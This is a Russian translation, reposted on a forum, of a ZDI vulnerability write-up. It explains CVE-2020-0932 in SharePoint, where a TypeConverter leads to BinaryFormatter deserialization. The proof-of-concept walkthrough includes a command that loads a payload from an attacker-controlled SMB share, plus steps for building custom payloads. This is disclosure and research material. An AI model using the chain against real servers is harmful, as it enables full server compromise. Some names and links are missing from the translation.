Гостевая статья CVE-2020-0932: удаленное выполнение кода в MICROSOFT SHAREPOINT с использованием преобразователей типов

В апреле 2020 года корпорация Майкрософт выпустила четыре исправления с критическими и двумя важными исправлениями для исправления ошибок удаленного выполнения кода в Microsoft SharePoint. Все это ошибки десериализации. Двое пришли через программу ZDI от анонимного исследователя: и . В этом блоге более подробно рассматривается последний CVE, также известный как . Давайте начнем с рассмотрения ошибки в действии.


Обзор

Эта уязвимость позволяет аутентифицированным пользователям выполнять произвольный код на сервере SharePoint. Код будет выполняться в контексте учетной записи службы веб-приложения SharePoint. Для успешной атаки злоумышленник должен иметь разрешение «Добавить или настроить страницы» на сайте SharePoint или хотя бы на одной странице сайта. Однако стандартная конфигурация SharePoint позволяет любому аутентифицированному пользователю создать свой собственный сайт со всеми необходимыми разрешениями.

Уязвимость

Уязвимость существует из-за того, что SharePoint не ограничивает доступные типы для свойств при конфигурации XML . Для свойства злоумышленник может указать строку и имя типа, а SharePoint попытается преобразовать строку, используя TypeConverterсоответствующий указанному типу. Некоторые TypeConverter, присутствующие в библиотеках SharePoint, могут использоваться для выполнения произвольного кода.
Точкой входа для этой атаки является веб-служба расположенная по адресу:

http://<Site>/_vti_bin/WebPartPages.asmx

В рамках реализации этого веб-сервиса есть несколько методов, которые занимаются разбором конфигурации XML WebParts, одним из которых является RenderWebPartForEdit. Обратите внимание, что предоставляется как a WebMethod, так что он может быть вызван через HTTP-запрос:

Посмотреть вложение 42062

Посмотреть вложение 42063

Посмотреть вложение 42064

Следующий метод webPartImporter.CreateWebPart()довольно сложен, так как он реализует синтаксические анализаторы для двух разных версий конфигураций XML, а именно файлов WebPart / v2 (.dwp) и файлов WebPart / v3 (.webpart). Наше внимание сосредоточено на парсере файлов .webpart. Кроме того, большая часть кода в этом методе посвящена разрешению типов и проверке самой веб-части. Тем не менее, это не относится к этой атаке и не подробно здесь.

Посмотреть вложение 42065

Наша полезная нагрузка XML будет передана ImportWebPartBase().

Посмотреть вложение 42066

Это означает, что все propertyэлементы будут обработаны ImportWebPartFile.AddToProperyArrayLists():

Посмотреть вложение 42067


На данный момент мы контролируем две важные строки: textи xmlAttributeValue2. textпроисходит из текстового содержимого propertyэлемента, а xmlAttributeValue2происходит из typeатрибута элемента . Код , приведенный выше , выбирает .NET Typeна основе xmlAttributeValue2, а затем использует TypeConverterтого , что Typeдля преобразования textв экземпляр объекта .NET ( propValue).

Теперь мы должны выяснить, какие типы доступны.

Посмотреть вложение 42068


Поскольку ограничений нет, мы можем использовать любой тип, который захотим.

Выбор TypeConverter для RCE

Для того, чтобы получить выполнение произвольного кода, мы будем использовать тип System.Resources.ResXFileRefи его TypeConverter, System.Resources.ResXFileRef.Converter:

Посмотреть вложение 42069


Это показывает, что System.Resources.ResXFileRef.Converterмы возьмем указанную нами строку ( value) и проанализируем две части данных. Первый, показанный здесь как array[0], будет интерпретирован как путь к .resourcesфайлу ресурса. Второе, array[1]будет интерпретировано как имя произвольного .NET Type. Приведенный выше код будет создавать экземпляр указанного Type, передавая один аргумент конструктору. Этот аргумент будет потоком, содержащим содержимое указанного нами .resourcesфайла. Поскольку мы можем указать удаленный путь к SMB-серверу, контролируемому злоумышленником, мы имеем полный контроль над содержимым потока.

Выбор типа, который мы можем реализовать с помощью аргумента Stream

Последняя задача - определить доступный тип .NET, имеющий конструктор с одним аргументом типа Stream, который можно использовать для выполнения произвольного кода. Одним из возможных решений являетсяSystem.Resources.ResourceSet:

Посмотреть вложение 42070

Здесь нас интересуют только две строки: первая и последняя. Первая строка вызывает конструктор System.Resources.ResourceReader:

Посмотреть вложение 42071


Это очень многообещающе, так как оно берет содержимое Streamи передает его a BinaryFormatter. Это может легко привести к десериализации произвольного объекта.

Оглядываясь на последнюю строку System.Resources.ResourceSetконструктора и следуя пути выполнения кода, вниз по нескольким уровням вызовов:

Посмотреть вложение 42073

Посмотреть вложение 42072

Посмотреть вложение 42074


Это показывает, что сервер десериализует ненадежные данные, что позволяет нам выполнять произвольный код.

Создание файла .resources

Для проведения этой атаки нам нужен скомпилированный .resourcesфайл ресурсов, содержащий нашу полезную нагрузку. Мы можем использовать Visual Studio для создания необходимого .resources файла. Во время компиляции Visual Studio использует генератор файлов ресурсов (Resgen.exe) для преобразования .resx файла в двоичный файл resource ( .resources). Чтобы внедрить нашу полезную нагрузку, мы можем отредактировать .resx файл и заменить существующий data узел следующим:

Посмотреть вложение 42075


Теперь мы можем сохранить *.resxфайл и скомпилировать текущий проект. Visual Studio поместит скомпилированный *.resourcesфайл в /objпапку.

Доказательство концепции

Чтобы продемонстрировать этот эксплойт, мы будем использовать Microsoft SharePoint Server 2019, установленный со всеми параметрами по умолчанию на сервере Windows Server 2019 Datacenter. Мы установили имя компьютера как sp2019.contoso.lab и сделали его членом домена contoso.lab. Контроллер домена находится на отдельной виртуальной машине. Мы добавили пару пользователей, включая user2 в качестве обычного непривилегированного пользователя.

Для системы атакующего нам понадобится любой поддерживаемый веб-браузер. На следующих скриншотах мы используем Mozilla Firefox 69.0.3. Мы также будем использовать наше специальное SP_soap_RCE_PoC.exeприложение для отправки атаки. Вы можете скачать все необходимые файлы, чтобы попробовать это здесь . Для разных BinaryFormatterполезных нагрузок вам понадобится YSoSerial.Net . Для этой демонстрации будет достаточно жестко заданной полезной нагрузки в нашем PoC.

Следующим шагом является настройка удаленного SMB-сервера, управляемого злоумышленником. Это может быть любая машина, которая может получать трафик с целевого сервера SharePoint. На этом сервере вам необходимо настроить общую папку, не требующую аутентификации. Это может быть немного сложно, но шаги, чтобы сделать это подробно описаны . Для демонстрации мы используем Windows Server 2016 Standard с IP-адресом 192.168.50.210. В дополнение к перечисленным шагам для совместного использования папки мы добавили «Все», «Гость» и «АНОНИМНЫЙ ВХОД» на вкладке «Безопасность» в общей папке.

Посмотреть вложение 42076


У искушенных читателей может возникнуть вопрос, почему сервер SharePoint соглашается на доступ к анонимному ресурсу SMB. В целях безопасности клиент Windows SMB обычно не разрешает такую операцию. Это начиная с версии 1709 Windows 10 и Windows Server 2016. Ответ заключается в том, что по какой-то причине установщик SharePoint отключает это смягчение с помощью записи в реестре. В этом разделе реестра HKLM\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters, он устанавливает значение AllowInsecureGuestAuthдля 1.

Создав и настроив папку, мы можем поместить полезную нагрузку для BinaryFormatter в это место и продолжить атаку. Для этой демонстрации мы назвали это SP_soap_RCE_PoC.RCE_Resource.resources.

Начнем с посещения нашего SharePoint Server и аутентификации обычного пользователя. В этом случае это user2 :

Посмотреть вложение 42077

Теперь мы вошли как аутентифицированный пользователь:

Посмотреть вложение 42078


Далее мы создаем наш собственный сайт, так что мы будем владельцем и будем иметь все разрешения. Обратите внимание, что если злоумышленник не может создать свой собственный сайт, он все равно может попробовать все существующие сайты и страницы, пытаясь найти хотя бы один, где у него есть разрешения « Добавить или настроить » Страницы.

Нажмите «SharePoint» на верхней панели:

Посмотреть вложение 42079

Теперь нажмите на ссылку «+ Создать сайт»:

Посмотреть вложение 42080

Для этой демонстрации мы выбираем Team Site , но это не имеет значения. Теперь нам нужно выбрать имя для нового сайта. В этом случае мы используем siteofuser2 .

Также нам понадобится BaseURL нового сайта. Мы можем видеть это в форме, показанной ниже, над зеленой меткой « Доступно ». В этом примере это :

Посмотреть вложение 42081

Нажмите « Готово », и новый сайт будет создан:

Посмотреть вложение 42082

Теперь давайте перейдем на целевой сервер SharePoint и откроем C:\windows\temp папку.

Посмотреть вложение 42083

Отметим, что Vuln_Server.txt файла еще нет. В случае успеха наш PoC создаст этот файл. Затем мы подтверждаем, что наш SP_soap_RCE_PoC.RCE_Resource.resources файл существует на SMB-сервере, контролируемом злоумышленниками:

Посмотреть вложение 42084

Теперь вернемся к машине «атакующего». Мы будем использовать наш собственный SP_soap_RCE_PoC.exeисполняемый файл для атаки. Мы должны предоставить следующую информацию в качестве аргументов:

- BaseUrl целевого сайта SharePoint. В этой демонстрации это
- UserName - В нашем случае это user2
- Password
- Domain
- Удаленный путь к нашему файлу полезной нагрузки.

Команда выглядит так:

SP_soap_RCE_PoC.exe user2 P@ssw0rd contoso //192.168.50.210/share/SP_soap_RCE_PoC.RCE_Resource.resources


Picture20b.png


SharePoint сообщает об ошибке, что был указан небезопасный тип, но атака все равно успешна. Мы можем проверить Tempпапку на целевом сервере:

Picture21b.png


Это показывает, как злоумышленник может выполнить произвольные команды ОС и поставить под угрозу весь сервер. Для выполнения других команд вам нужно будет создать свой собственный *.resourceфайл. Это можно сделать, открыв RCE_Resource.resxфайл в любом текстовом редакторе и заменив BinaryFormatterполезную нагрузку base64 на желаемую:

Picture22b.png


Затем вы можете сохранить файл, открыть проект в Visual Studio и перестроить его. SP_soap_RCE_PoC.RCE_Resource.resourcesФайл с новой полезной нагрузкой будет находиться в \SP_soap_RCE_PoC\SP_soap_RCE_PoC\obj\Release\папке.

Вывод

Согласно Microsoft, эта уязвимость была устранена путем «исправления того, как SharePoint проверяет разметку исходного кода пакетов приложений». Интересно, что все шесть ошибок SharePoint, включая ошибки с оценкой «Важность», имеют одинаковую запись. От поставщика нет указаний на то, почему некоторые из этих ошибок оценены как важные, а другие - как критические. В связи с этим мы рекомендуем рассматривать все ошибки как критические. В прошлом ошибки SharePoint были популярны среди злоумышленников. В 2019 году стал широко использоваться в условиях дикой природы. Время покажет, окажется ли эта ошибка популярной среди преступников в Интернете.
Мы вернемся с другими замечательными представлениями в будущем. До тех пор следите за чтобы узнать о новейших методах эксплойтов и исправлениях безопасности.

Источник:
 
  • Нравится
Реакции: DeathDay
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!